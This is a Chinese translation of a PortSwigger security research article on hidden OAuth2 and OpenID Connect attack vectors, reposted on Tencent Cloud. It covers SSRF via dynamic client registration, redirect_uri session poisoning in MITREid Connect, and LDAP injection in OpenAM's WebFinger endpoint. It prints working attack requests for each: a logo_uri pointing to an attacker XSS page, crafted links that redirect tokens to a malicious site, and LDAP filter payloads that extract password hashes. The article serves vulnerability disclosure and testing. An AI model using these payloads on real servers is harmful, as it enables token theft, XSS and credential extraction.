过去十年来,OAuth2授权协议备受争议,您可能已经听说过很多"return_uri"技巧、令牌泄漏、对客户端的CSRF式攻击等等,在这篇文章中,我们将介绍三个全新的OAuth2和OpenID Connect漏洞:"动态客户端注册:SSRF设计","redirect_uri会话中毒"和"WebFinger用户枚举",我们将介绍关键概念,并在两台开源OAuth服务器(ForgeRock OpenAM和MITREid Connect)上演示这些攻击,最后提供一些有关如何自行检测这些漏洞的方法~
如果您不熟悉OAuth的一些经典漏洞,请不要担心,虽然我们在这里不讨论这些问题,但我们已经在我们的Web安全中广泛讨论了这些内容:
https://portswiger.net/web-security/oauth
在深入研究这些漏洞之前,我们应该简单地谈谈OpenID,OpenID Connect是OAuth协议的一个流行扩展,它带来了许多新特性,包括id_tokens、 automatic discovery、configuration endpoint等,从渗透测试的角度来看,每当您测试OAuth应用程序时,目标服务器很有可能也支持OpenID,这大大扩展了可用的攻击面,作为一个漏洞挖掘者,无论何时测试OAuth进程,都应该尝试获取标准的".well-known/openid-configuration"端点,这可以给你很多信息,即使是在黑盒测试阶段。
过去描述的许多OAuth攻击都以授权端点为目标,正如您每次登录时在浏览器流量中看到的那样,如果您正在测试一个网站时看到一个类似"/authorize?client_id=aaa&redirect_uri=bbb"的请求,您可以相对确定它是一个OAuth端点,有很多参数您已经可以测试了,同时由于OAuth是一个复杂的协议,因此服务器可能支持其他端点,即使它们从未从客户端HTML页面引用。
您可能会错过的隐藏URL之一是动态客户端注册端点,为了成功地对用户进行身份验证,OAuth服务器需要了解有关客户端应用程序的详细信息,例如"client_name"、"client_secret"、"redirect_uri"等等,这些细节可以通过本地配置提供,但是OAuth授权服务器也可能有一个特殊的注册端点,此端点通常映射到"/register",并接受以下格式的POST请求:
POST /connect/register HTTP/1.1
Content-Type: application/json
Host: server.example.com
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJ ...
{
"application_type": "web",
"redirect_uris": ["https://client.example.org/callback"],
"client_name": "My Example",
"logo_uri": "https://client.example.org/logo.png",
"subject_type": "pairwise",
"sector_identifier_uri": "https://example.org/rdrct_uris.json",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client.example.org/public_keys.jwks",
"contacts": ["ve7jtb@example.org"],
"request_uris": ["https://client.example.org/rf.txt"]
}
在这个请求中有两个规范定义参数:OAuth的RFC7591和Openid Connect Registration 1.0
如您在这里看到的,这些值中的许多值通过URL引用传入,看起来像是SSRF的潜在目标,我们测试的大多数服务器在收到注册请求时不会立即解析这些URL,相反它们只是保存这些参数,然后在OAuth授权流中稍后使用它们,这更像是二阶SSRF,这使得黑盒测试变得更加困难。
以下参数对于SSRF攻击特别有用:
POST /oauth/token HTTP/1.1
...
grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...
如果易受攻击,服务器应该对提供的"jwks_uri"执行服务器到服务器的HTTP请求,因为它需要此密钥来检查请求中"client_assertion"参数的有效性,不过,这可能只是一个盲目的SSRF漏洞,因为服务器需要正确的JSON响应。
GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt
注意:不要将此参数与"redirect_uri"混淆,"redirect_uri"用于授权后的重定向,而"request_uri"则由服务器在授权过程开始时获取。
同时,我们看到的许多服务器不允许任意的"request_uri"值:它们只允许在客户端注册过程中预先注册的白名单url,这就是为什么我们需要事先提供"request_uri":https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt"
以下参数还包含URL,但通常不用于发出服务器到服务器的请求,它们用于客户端重定向/引用:
根据OAuth和OpenID规范,所有这些参数都是可选的,在特定的服务器上并不总是受支持的,因此确定服务器上支持哪些参数总是值得的~
如果以OpenID服务器为目标".well-known/Openid-configuration"处的发现端点有时可能会包含诸如"registration_endpoint"、"request_uri_parameter_supported"、"require_request_uri_registration"等参数,这些可以帮助您找到注册端点和其他服务器配置值。
MITREid Connect充当独立的OAuth授权服务器,在默认配置中,它的大多数页面都需要适当的授权,您甚至不能创建新的用户-只允许管理员创建新帐户,它还实现了OpenID动态客户端注册协议,并支持注册客户端OAuth应用程序,尽管此功能仅从管理面板中引用,但实际的"/register"端点根本不会检查当前会话,通过查看源代码,我们发现MITRE ID Connect以以下方式使用"logo_uri":
当用户访问"/openid-connect-server-webapp/api/clients/{id}/logo"端点时,会发生此过程,该端点返回获取的"logo_uri"的内容,具体来说,易受攻击的控制器位于网址:org.mitre.openid.connect.web.ClientAPI#getClientLogo
Exploit:
如上所述,我们需要发送一个动态客户端注册请求,在这种情况下,我们需要提供的最基本参数是"redirect_uri"和"logo_uri":
POST /openid-connect-server-webapp/register HTTP/1.1
Host: local:8080
Content-Length: 118
Content-Type: application/json
{
"redirect_uris": [
"http://artsploit.com/redirect"
],
"logo_uri": "http://artsploit.com/xss.html"
}
向指定的"logo_uri"发起服务器到服务器请求:http://artsploit.com/xss.html,用户应在"/api/clients/{client.id}/logo"页面:
访问最后一页需要低权限帐户,如果攻击者能够通过注册获得一个,则可以使用此端点向本地服务器发出任意HTTP请求并显示其结果,或者此攻击可以用于对已经经过身份验证的用户执行XSS攻击,因为它允许您在页面上注入任意JavaScript,如上面的示例所示,恶意的"logo_uri": "http://artsploit.com/xss.html" 可用于执行"alert(document.domain)"
那个{client.id}参数是与在OAuth服务器上注册的每个新客户端关联的增量值,在客户注册后,可以在没有任何凭据的情况下获得,由于在创建服务器时已经存在一个默认客户端应用程序,第一个动态注册的客户端将具有client_id "2"
从这个漏洞中可以看到,OAuth服务器在注册端点中可能有二阶SSRF漏洞,因为规范明确地指出URL引用可能提供了一些值,这些漏洞很难找到,但是由于OAuth注册请求格式是标准化的,即使在黑盒测试场景中也可能。
我们将要研究的下一个漏洞在于服务器在身份验证流期间传递参数的方式,根据OAuth规范(RFC6749中的第4.1.1节),每当OAuth服务器收到授权请求时,它应"验证请求,以确保所有必需的参数都存在并有效",如果请求有效,授权服务器将对资源所有者进行身份验证并获得授权决定(通过询问资源所有者或通过其他方式建立批准),听起来很简单,对吧?在几乎所有OAuth图表上,此进程显示为一个步骤,但实际上它涉及到三个单独的操作,需要由OAuth服务器实现:
在我们看到的许多OAuth服务器实现中,这些步骤是通过使用三个不同的控制器来分隔的,例如:"/authorize","/login", "/confirm_access"
在第一步("/authorize")中,服务器检查"redirect_uri"和"client_id"参数,随后在"/confirm_access" 阶段,服务器需要使用这些参数来发布代码,那么服务器是如何记住它们的呢?最明显的方法是:
正如我们在这里看到一致,严格的OAuth规范并没有给出任何建议,因此,实现这种行为的方法多种多样:
第一种方法(store-in-session)非常直观,在代码中看起来也很优雅,但是当为同一个用户同时发送多个授权请求时,它可能会导致竞争条件问题,
让我们仔细看看这个例子,该过程从普通授权请求开始:
/authorize?client_id=client&response_type=code&redirect_uri=http://artsploit.com/
服务器检查参数,将其存储在会话中,并显示同意页:
单击"授权"后,将向服务器发送以下请求:
如您所见,请求主体不包含任何关于被授权的客户机的参数,这意味着服务器从用户的会话中获取这些参数,我们甚至可以在黑盒测试中发现这种行为,基于此行为的攻击将如下所示:
在许多实际系统中,第三方用户可以注册自己的客户端,因此此漏洞可能允许他们注册任意"redirect_uri" 并向其泄漏令牌
但是有一些警告:用户必须批准任何"受信任"的客户端,如果他们之前已经批准了同一个客户机,服务器可能只是重定向我们,而不要求确认,为了方便起见,OpenID规范为我们提供了一个"prompt=approvement"参数,我们可以将其附加到授权请求的URL中,从而潜在地解决这个问题,如果服务器遵循OpenID规范,它应该请求用户确认他们的同意,即使他们之前已经批准了,在没有确认的情况下,这种攻击会更加困难,但仍然是可行的,这取决于特定的OAuth服务器实现。
MITREid Connect服务器易受上述会话中毒问题的攻击,在本例中,利用此漏洞甚至不需要注册其他客户端,因为应用程序在确认页上存在大量分配漏洞,这也会导致会话中毒。
在OAuth2流中,当用户导航到授权页("/authorize")时,AuthorizationEndpoint类会正确检查所有提供的参数(client_id、redirect_uri、scope等)之后,当用户通过身份验证时,服务器将显示一个确认页面,要求用户批准访问,用户的浏览器只看到"/authorize"页面,但在内部,服务器执行从"/authorize"到"/oauth/confirm_access"的内部请求转发,为了将参数从一个页面传递到另一个页面,服务器在"/oauth/confirm_access"控制器上使用"@modeldattribute"("authorizationRequest")注释:
@PreAuthorize("hasRole('ROLE_USER')")
@RequestMapping("/oauth/confirm_acces")
public String confimAccess(Map<String, Object> model, @ModelAttribute("authorizationRequest") AuthorizationRequest authRequest, Principal p) {
这个注释有点棘手,它不仅从上一个控制器的模型中获取参数,而且从当前HTTP请求查询中获取它们的值,因此如果用户直接导航到浏览器中的"/oauth/confirm_access"端点,则它可以从URL提供所有授权请求参数,并绕过"/authorize"页面上的检查。
这里唯一的警告是"/oauth/confirm_access"控制器要求@SessionAttributes("authorizationRequest")出现在用户的会话中,但只需访问"/authorize"页面而不执行任何操作,就可以轻松实现这一点,此漏洞的影响类似于从不检查"redirect_uri"的经典场景。
Exploit:
恶意参与者可以创建到授权和确认端点的两个特殊链接,每个链接都有自己的"redirect_uri"参数,并将它们提供给用户
/authorize?client_id=c931f431-4e3a-4e63-84f7-948898b3cff9&response_type=code&scope=openid&prompt=consent&redirect_uri=http://trusted.example.com/redirect
/oauth/confirm_access?client_id=c931f431-4e3a-4e63-84f7-948898b3cff9&response_type=code&prompt=consent&scope=openid&redirectUri=http://malicious.example.com/steal_token
"client_id"参数可以来自用户已经信任的任何客户端应用程序,当访问"/confirm_access"时,它从URL获取所有参数,并毒害模型/会话,现在当用户批准第一个请求时(因为"client_id"是可信的),授权令牌就会泄漏到恶意网站
注意:您可能会注意到第一个请求中的"redirectUri"与第二个请求中的"redirectUri"之间的预期差异,这是有意的,因为第一个是有效的OAuth参数,而第二个是实际绑定到"AuthorizationRequest.redirectUri"质量分配期间的模型属性。
此处的"@modeldattribute("authorizationRequest")"注释不是必需的,在转发过程中会产生额外的风险,执行相同操作的一种更安全的方法是将”Map<String,Object>model"中的这些值作为带有@RequestMapping("/oauth/confirm_access")注释的方法的输入参数,即使此处不存在大规模分配,也可以通过同时发送两个授权请求以共享同一会话来利用此漏洞。
"/.well-known/webfinger"是一个标准的OpenID端点,它显示有关服务器上使用的用户和资源的信息,例如可以通过以下方式使用它来验证用户"anonymous"在服务器上是否有帐户:
/.well-known/webfinger?resource=http://x/anonymous&rel=http://openid.net/specs/connect/1.0/issuer
这只是另一个在爬虫期间可能找不到的OpenID端点,因为它是由OpenID客户端应用程序使用的,并且这些请求不是从浏览器端发送的,规范规定"rel"参数的静态值应为"http://openid.net/specs/connect/1.0/issuer"和"resource"应包含以下形式之一的有效URL:
这个URL是在服务器上解析的,并不真正用于发送HTTP请求,所以这里没有SSRF,同时,由于端点不需要任何身份验证,您可能会尝试在那里查找像SQL注入这样的普通漏洞。
这个端点的棘手部分是响应状态代码:如果参数无效或找不到用户名,它可能返回404,因此在将其添加到内容发现工具时要小心
我们在ForgeRock的OpenAM服务器中发现了一个很好的易受攻击的webfinger端点示例,这个商业软件曾经有一个LDAP注入漏洞。
在源代码分析期间,我们发现当OpenAM服务器处理请求时,它将用户提供的资源参数嵌入到LDAP服务器的过滤器查询中,LDAP查询是在SmsLDAP对象.java文件:
String[] objs = { filter };
String FILTER_PATTERN_ORG = "(&(objectclass="
+ SMSEntry.OC_REALM_SERVICE + ")(" + SMSEntry.ORGANIZATION_RDN
+ "={0}))";
String sfilter = MessageFormat.format(FILTER_PATTERN_ORG, (Object[]) objs);
如果资源包含特殊字符,如"();、*|",则应用程序不会对其应用任何转义,并随后将其包含在LDAP查询筛选器中。
从攻击者的角度来看,可以使用LDAP过滤器访问LDAP中存储的用户对象的不同字段,攻击场景之一可能是枚举有效的用户名:
/openam/.well-known/webfinger?resource=http://x/dsa*&rel=http://openid.net/specs/connect/1.0/issuer
如果任何用户名以"dsa*"开头,服务器将以HTTP代码200(确定)响应,否则以HTTP代码404(未找到)响应,此外可以根据用户密码指定过滤器:
/openam/.well-known/webfinger?resource=http://x/dsameuser)(sunKeyValue=userPassword=A*)(%2526&rel=http://openid.net/specs/connect/1.0/issuer
这允许我们按字符提取用户的密码哈希字符,攻击不仅限于提取用户属性,还可以用于提取用于令牌签名的有效会话令牌或私钥~
同样,此漏洞存在于OpenAm服务器的标准OpenID组件中,不需要任何身份验证,我们在OpenAM的最新开源版本中发现了此漏洞,位于https://github.com/OpenRock/OpenAM,当我们报告ForgerRock的此漏洞时,他们的安全团队指出,从更新13.5.1开始,该漏洞已经在其产品的商业版本中修补(有关详细信息,请参阅OPENAM-10135)~
OAuth和OpenID连接协议非常复杂,有许多移动部件和扩展,如果在网站上测试OAuth授权流,可能只会看到支持的参数和可用端点的一小部分,虽然Facebook、Google和Apple可以自己编写这些协议的实现,但较小的公司通常使用开源实现或您可以自己下载的商业产品,深入研究文档和RFC、Google错误,尝试在Github上找到源代码,并检查Docker容器,以确定您能够实现的所有功能:您将惊讶于您能找到多少独特的bug
ActiveScan++v1.0.22现在可以检测OpenId和OAuth配置端点的存在,并可以帮助您发现它们,我们在Burp的Intruder模块下的"Interesting files and directories"中也可以找到~
原英文版链接:https://portswigger.net/research/hidden-oauth-attack-vectors
本文系外文翻译,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文系外文翻译,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。